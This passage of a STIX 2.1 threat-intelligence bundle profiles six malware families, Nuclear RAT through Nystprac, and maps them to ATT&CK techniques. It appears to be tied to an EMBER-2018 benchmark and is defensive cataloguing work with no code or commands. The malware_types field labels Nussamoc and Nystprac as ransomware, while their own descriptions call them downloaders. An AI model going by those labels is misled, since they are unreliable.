      "description": "Nuclear RAT (cataloged across security software as NuclearRAT, Nuclear RAT 2.1, Backdoor.NuclearRat, and Trojan.NuclearRAT) is a classic open-source Remote Access Trojan created in 2003 by the developer 'caesar2k'. Programmed in C++ and Visual C++, Nuclear RAT gained prominence in early cybercrime circles due to its reverse-connection architecture, allowing it to bypass inbound perimeter NAT firewalls by having the compromised client initiate outbound TCP sessions to the operator's DNS or IP. Features include an interactive remote command shell, full file system manipulation, live desktop streaming, webcam frame capture, audio microphone eavesdropping, process injection, keystroke logging, and early rootkit hooks designed to conceal its process image from the Windows Task Manager.",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "NuclearRAT",
        "Nuclear RAT 2.1",
        "Backdoor.NuclearRat",
        "Trojan.NuclearRAT",
        "Win32/NuclearRAT"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nuclear_Rat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nuclear_rat"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--136ebe51-e6ed-5668-9b77-84f084fe4695",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5b7fc575-9847-5c4f-ab92-2f036c47b4e2",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nuclear_Rat exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e208e519-6284-5215-8a1b-397d38fc1020",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5b7fc575-9847-5c4f-ab92-2f036c47b4e2",
      "target_ref": "attack-pattern--cfa68380-6a50-515d-86b2-2791a2479e2c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nuclear_Rat exhibits technique T1055.002 (Process Injection: Portable Executable Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41fbe4b0-e601-503b-a77f-9f5620ef6a60",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5b7fc575-9847-5c4f-ab92-2f036c47b4e2",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nuclear_Rat exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--93ab6f2a-d92e-52ac-bf10-dc15d5101424",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5b7fc575-9847-5c4f-ab92-2f036c47b4e2",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nuclear_Rat exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d68c8428-580a-56a3-9840-bfeb6be74737",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5b7fc575-9847-5c4f-ab92-2f036c47b4e2",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nuclear_Rat exhibits technique T1125 (Video Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--32ae92b0-2dfa-599f-bbeb-81ad78682df1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5b7fc575-9847-5c4f-ab92-2f036c47b4e2",
      "target_ref": "attack-pattern--ed2a807b-3451-5ba6-bc92-f7395d0d7084",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nuclear_Rat exhibits technique T1123 (Audio Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6893f072-65a7-5940-a544-3ab1d82c05b9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5b7fc575-9847-5c4f-ab92-2f036c47b4e2",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nuclear_Rat exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a1353157-205d-5797-8386-e82ca338253b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5b7fc575-9847-5c4f-ab92-2f036c47b4e2",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nuclear_Rat exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--23cc262b-30aa-5fae-a1e2-ecabeff7c814",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5b7fc575-9847-5c4f-ab92-2f036c47b4e2",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nuclear_Rat exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dd422dcb-b3f9-560a-b5fb-f753ee08bc7f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nukesped",
      "description": "Backdoor:Win32/Nukesped is a highly sophisticated, persistent backdoor remote access trojan (RAT) heavily attributed to the **Lazarus Group (HIDDEN COBRA)**, a North Korean state-sponsored advanced persistent threat (APT). Nukesped (and its variants) has been deployed in high-profile cyberespionage and financially motivated attacks worldwide, targeting cryptocurrency exchanges, financial institutions, the aerospace industry, and critical infrastructure.<br><br><b>Understanding Nukesped (Lazarus Group APT)</b><br>To an end-user, Nukesped is entirely invisible. For a security operations center (SOC), the detection of Nukesped is a critical 'Code Red' event, indicating that the network has been breached by a highly capable nation-state adversary. Nukesped is not a noisy, destructive wiper; it is designed for long-term intelligence gathering, lateral movement, and the facilitation of multi-million dollar cryptocurrency heists.<br><br><b>Execution, Evasion, and C2 Mechanics</b><br>Lazarus operators typically deploy Nukesped following a successful spear-phishing campaign (`T1566.001`), watering hole attack, or the exploitation of perimeter vulnerabilities (like vulnerable VPNs or unpatched web servers). The malware often utilizes advanced evasion techniques, including DLL side-loading (`T1574.002`), where a legitimate, signed executable (e.g., a known antivirus component or legitimate software updater) is hijacked to load the malicious Nukesped DLL into memory, bypassing many static and behavioral defenses. It establishes persistence via hidden scheduled tasks or modifying system services (`T1543.003`). The backdoor communicates with an elaborate, heavily obfuscated Command and Control (C2) infrastructure (`T1071.001`), allowing attackers to execute arbitrary shell commands (`T1059.003`), manipulate files, steal credentials, and pivot deeper into the network.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a total, state-sponsored compromise of the network, risking massive financial loss and intellectual property theft. IoCs require advanced EDR: look for DLL side-loading events involving specific known-vulnerable signed binaries, unexpected network connections originating from those hijacked binaries, and anomalous scheduled tasks executing from temporary directories. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nukesped",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nukesped"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e2ab3f82-bd2d-5449-a1db-bfb3acf52cca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd422dcb-b3f9-560a-b5fb-f753ee08bc7f",
      "target_ref": "attack-pattern--a763b4e8-06c3-5399-9705-7b4f6eec4504",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nukesped exhibits technique T1574.002 (Hijack Execution Flow: DLL Side-Loading (Using legitimate binaries to load the payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--19ccd567-4f72-5c19-ab65-35559088d360",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd422dcb-b3f9-560a-b5fb-f753ee08bc7f",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nukesped exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c8e0bfc9-4f59-5f1b-af5e-5035aad31006",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd422dcb-b3f9-560a-b5fb-f753ee08bc7f",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nukesped exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ccd7ede9-78e4-5067-86b3-c3838947f892",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd422dcb-b3f9-560a-b5fb-f753ee08bc7f",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nukesped exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7591bd2a-b40c-564c-9092-d8f2066c3aec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nussamoc",
      "description": "<h3>Executive Summary</h3>\nNussamoc is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nNussamoc is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Nussamoc operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Nussamoc ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Nussamoc receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Nussamoc infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Nussamoc executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Nussamoc frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Nussamoc",
        "Downloader.Nussamoc",
        "Win32/Nussamoc"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nussamoc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nussamoc"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--73e7e6ed-8c15-5620-95b8-4851877f2d2c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7591bd2a-b40c-564c-9092-d8f2066c3aec",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nussamoc exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d0d5c648-218b-5c48-9665-07aaff024409",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7591bd2a-b40c-564c-9092-d8f2066c3aec",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nussamoc exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f41811f6-36a3-5a1d-a6d8-968b73cd59e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7591bd2a-b40c-564c-9092-d8f2066c3aec",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nussamoc exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--17fedb11-b741-5fb8-8212-5f521ab766b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nymaim",
      "description": "Nymaim is a sophisticated dual-stage malware downloader and loader first observed in 2013. Designed with extreme resilience, Nymaim specialized in evading security sandboxes and malware analysis environments by employing multi-layer encryption, dynamic API resolution, and timing-based anti-emulation routines before fetching its secondary payloads.\n\nNymaim was one of the core malware families hosted and distributed on the bulletproof 'Avalanche' infrastructure network. In November 2016, an unprecedented joint operation led by Europol's European Cybercrime Centre (EC3), the US Attorney's Office for the Western District of Pennsylvania, the FBI, German Police (LKA Niedersachsen), and Eurojust dismantled the Avalanche infrastructure, seizing over 800,000 domains. Notably, Nymaim's stealth loader engine was combined with the banking webinject capabilities of Gozi (ISFB) to spawn 'GozNym'\u2014a hybrid financial trojan that stole over $100 million from American and European businesses until its operators were indicted in US federal court in 2019. (Observed samples in benchmark: 756)",
      "is_family": true,
      "malware_types": [
        "downloader"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Nymaim",
        "Win32/Nymaim",
        "Trojan.Nymaim",
        "GozNym Precursor"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nymaim",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nymaim"
        }
      ],
      "labels": [
        "downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ace774e-add0-5bdc-ad54-014fb17d7b38",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17fedb11-b741-5fb8-8212-5f521ab766b1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nymaim exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d72781d-3fa2-5308-bab7-62215f2a1e16",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17fedb11-b741-5fb8-8212-5f521ab766b1",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nymaim exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--74b069c3-fe6e-5d07-95e5-fd6f79815e68",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17fedb11-b741-5fb8-8212-5f521ab766b1",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nymaim exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--06a54c37-d10f-57e6-803f-bf4e253ac20e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17fedb11-b741-5fb8-8212-5f521ab766b1",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nymaim exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--52b06a06-53d5-5f24-bd43-3d98abe77e7d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17fedb11-b741-5fb8-8212-5f521ab766b1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nymaim exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d1b9cf9-612d-51ae-b40e-c0343df33fb1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17fedb11-b741-5fb8-8212-5f521ab766b1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nymaim exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--398bb68b-1341-5ff9-9f00-a18b57dba5db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nymeria",
      "description": "Nymeria (cataloged across security vendors as TrojanDownloader:Win32/Nymeria, Trojan.Nymeria, and Backdoor:Win32/Nymeria) is a modular Windows trojan downloader and reconnaissance threat active since 2016. Often observed acting as a multi-stage loader or dropper in campaigns delivering commercial remote access tools (such as LodaRAT) and credential stealers, Nymeria infiltrates endpoints through malicious spearphishing email attachments, weaponized Office macro documents, and trojanized freeware downloads. Upon initial execution, Nymeria drops a copy of its executable stub into hidden user directories (such as %LocalAppData%\\Temp or %AppData%) and establishes persistence via Windows Registry Run keys and scheduled tasks. The malware deploys in-memory anti-debugging and virtual machine detection routines to verify that it is running in a live user environment rather than an analysis sandbox. Once cleared, Nymeria captures system reconnaissance data (hostname, user privilege level, OS architecture) and initiates encrypted HTTP/HTTPS beaconing to remote command-and-control servers to download, unpack, and launch secondary payloads including info-stealers, keyloggers, and banking trojans. (Observed samples in benchmark: 102)",
      "is_family": true,
      "malware_types": [
        "downloader"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojanDownloader:Win32/Nymeria",
        "Trojan.Nymeria",
        "Win32/Nymeria",
        "Backdoor:Win32/Nymeria"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nymeria",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nymeria"
        }
      ],
      "labels": [
        "downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d98b1d5c-0e07-5277-828f-84f20d149019",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--398bb68b-1341-5ff9-9f00-a18b57dba5db",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nymeria exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55afd74b-96b5-561e-932a-cfc8b7ce3ef3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--398bb68b-1341-5ff9-9f00-a18b57dba5db",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nymeria exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d0eb5e47-fa99-5725-8520-f1470ccf461c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--398bb68b-1341-5ff9-9f00-a18b57dba5db",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nymeria exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7ba7f72e-71fd-53a1-a772-1fbedb68fcfb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--398bb68b-1341-5ff9-9f00-a18b57dba5db",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nymeria exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--be14c119-0aa3-5af3-85b1-c650493965c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--398bb68b-1341-5ff9-9f00-a18b57dba5db",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nymeria exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db480c16-ad3b-5e96-a89b-41548a18467e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--398bb68b-1341-5ff9-9f00-a18b57dba5db",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nymeria exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f570be5f-5b84-5d63-a407-ba1f5b1bb99e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nystprac",
      "description": "Trojan:Win32/Nystprac is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Nystprac</b><br>To an end-user, a Nystprac infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Nystprac is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Nystprac is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Nystprac frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Nystprac reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nystprac",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nystprac"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--39c49db2-f12d-558d-a764-457c003ba818",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f570be5f-5b84-5d63-a407-ba1f5b1bb99e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nystprac exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--85febae0-9192-5fb8-96b4-d4b51850e59d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f570be5f-5b84-5d63-a407-ba1f5b1bb99e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nystprac exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e40bc54b-eda1-5f2c-bcfe-4a1f7f6e12aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f570be5f-5b84-5d63-a407-ba1f5b1bb99e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
